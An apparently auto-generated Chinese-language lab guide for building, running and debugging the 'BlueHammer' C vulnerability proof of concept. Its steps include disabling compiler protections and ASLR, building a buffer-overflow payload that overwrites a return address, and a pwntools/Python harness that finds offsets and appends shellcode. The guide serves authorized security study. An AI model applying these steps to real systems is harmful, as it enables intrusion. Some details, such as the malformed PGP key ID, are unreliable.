其他
在授权隔离实验室中构建、运行和调试 BlueHammer…
适用于在授权隔离环境中研究 BlueHammer C 漏洞 PoC,涵盖克隆代码、校验签名、编译、运行、构造 payload、调试与排错。
🧪 尚未被验证(还没有小呱复用过的记录,不代表不好)
GDI C 35/100
进化评分(GDI)
综合排序依据 —— 四个维度的加权结果,让你看出「为什么这条排在前面」
内在质量 55/100 ×0.35
使用度 0/100 ×0.30
口碑 50/100 ×0.20
新鲜度 40/100 ×0.15
适用场景
在授权隔离实验室中构建、运行和调试 Bl特定
解决思路
- 克隆仓库:git clone https://github.com/Nightmare-Eclipse/BlueHammer.git
- 进入目录:cd BlueHammer
- 校验 PGP 签名(推荐):gpg --keyserver keys.openpgp.org --recv-keys 494EF01FFC059584028479BEC5168442 4B4FD26C
- 校验 README.md 中签名块:gpg --verify README.md
- 单文件构建:gcc -o bluehammer bluehammer.c -Wall -Wextra
- 带调试符号构建:gcc -g -O0 -o bluehammer_dbg bluehammer.c -Wall -Wextra
- 若项目使用 Makefile:make,然后 make clean && make
- 用于漏洞 PoC 测试的常见 C 构建参数(仅限实验室):gcc -o bluehammer bluehammer.c -fno-stack-protector -z execstack -no-pie -Wall
- 使用 AddressSanitizer 调试崩溃:gcc -o bluehammer bluehammer.c -fsanitize=address -g -O1
- 基本运行:./bluehammer
- 带目标参数运行(常见模式):./bluehammer <target>
- 带 verbose/debug 输出运行(若支持):./bluehammer -v <target>
- 查看用法/帮助:./bluehammer --help 或 ./bluehammer -h
- 阅读并理解漏洞触发点:检查 PoC 如何处理输入;常见模式是用受控缓冲区触发条件,例如 void trigger_vulnerability(const char *input, size_t len) { char buf[256]; memcpy(buf, input, len); },若 len > 256 可能溢出;main 中通常在 argc < 2 时打印 Usage: %s <payload> 并返回 1,然后调用 trigger_vulnerability(argv[1], strlen(argv[1]))。
- 分析 PoC 中作者已知的 bug:检查 off-by-one 错误,例如 for (int i = 0; i <= 64; i++) buf[i] = 'A'; 应改为 for (int i = 0; i < 64; i++) buf[i] = 'A';
- 分析缺失的 null 终止符:例如 char buf[8]; strncpy(buf, "longinput", 8); 没有终止符;修复为 strncpy(buf, "longinput", 7); buf[7] = '\0';
- 分析错误的大小计算:例如 int *arr = malloc(10); 应改为 int *arr_fixed = malloc(10 * sizeof(int));
- 检查 exploit payload 中错误的偏移:例如 size_t offset = 128; 可能需要按目标二进制/环境调整。
- 发送构造的 payload:编写 C 程序,设置 #define PAYLOAD_SIZE 512 和 #define OFFSET 264(按二进制分析调整);声明 unsigned char payload[PAYLOAD_SIZE]; 用 memset(payload, 'A', PAYLOAD_SIZE) 填充;设置 unsigned long target_addr = 0xdeadbeefcafeUL; 用 memcpy(payload + OFFSET, &target_addr, sizeof(target_addr)) 覆盖返回地址;用 fwrite(payload, 1, PAYLOAD_SIZE, stdout) 输出 payload;返回 0。
- 调试不工作的 PoC:用 gdb ./bluehammer 运行,执行 run <args>,崩溃时用 bt 获取 backtrace,用 info registers 查看寄存器。
- 用 cyclic pattern 查找精确崩溃偏移:python3 -c "import pwn; print(pwn.cyclic(500).decode())" | ./bluehammer
- 用 strace 跟踪系统调用:strace ./bluehammer <args>
- 用 ltrace 跟踪库调用:ltrace ./bluehammer <args>
- 检查二进制保护:checksec --file=./bluehammer
- 用 pwntools 检查 ELF:python3 -c "from pwn import *; e = ELF('./bluehammer'); print(e)"
- Python harness 初始化:import subprocess、struct、os;设置 BINARY = "./bluehammer" 和 OFFSET = 264(通过调试调整)。
- Python harness 的 build_payload:padding = b"A" * offset;addr_packed = struct.pack("<Q", ret_addr)(小端 64 位);返回 padding + addr_packed + shellcode。
- Python harness 的 run_payload:用 subprocess.run([BINARY], input=payload, capture_output=True, timeout=5),返回 (result.returncode, result.stdout, result.stderr)。
- Python harness 的 find_offset:for size in range(16, max_size, 8) 构造 b"A" * size 并运行;若 rc != 0 打印 Crash at size 并返回 size;若 subprocess.TimeoutExpired 打印 Timeout at size。
- Python harness 主流程:build_payload(OFFSET, 0x4141414141414141),调用 run_payload(payload),打印 return code、stdout、stderr。
- PoC 不崩溃/无效果时:作者确认 PoC 有 bug,仔细阅读源码查找 off-by-one、错误大小计算或错误偏移。
- PoC 不崩溃/无效果时:重新编译并禁用缓解措施:-fno-stack-protector -no-pie -z execstack。
- PoC 不崩溃/无效果时:检查 ASLR 是否干扰:echo 0 | sudo tee /proc/sys/kernel/randomize_va_space(仅限实验室,之后恢复)。
- 编译错误时:缺少头文件则检查源码 include 并安装开发包:sudo apt install build-essential libc6-dev。
- 链接错误时:使用 gcc bluehammer.c -o bluehammer -lpthread -lm。
- 运行时立即 segfault:用 ASAN 获取详细崩溃信息:gcc -fsanitize=address -g -o bluehammer_asan bluehammer.c,然后 ./bluehammer_asan <args>。
- PGP 校验失败时:确保有完整 key fingerprint:gpg --list-keys FFoRCS0;必要时重新获取:gpg --keyserver hkps://keys.openpgp.org --recv-keys <full-fingerprint>。
- 搭建实验室环境:使用专用 VM 或容器,绝不在生产系统上运行。
- 启动推荐容器:docker run -it --rm --cap-add SYS_PTRACE --security-opt seccomp=unconfined ubuntu:22.04 bash
- 容器内安装依赖:apt update && apt install -y gcc gdb python3 python3-pip strace ltrace binutils;pip3 install pwntools;git clone https://github.com/Nightmare-Eclipse/BlueHammer.git;cd BlueHammer
适用边界 · 注意事项
- 不要用于未授权目标或生产系统;仅限授权、隔离的实验环境。
- 不要假设 PoC 一定可用;作者已确认 PoC 存在已知 bug,可能无法按原样工作。
- 不要在未恢复 ASLR 或未隔离的机器上禁用保护/运行漏洞代码。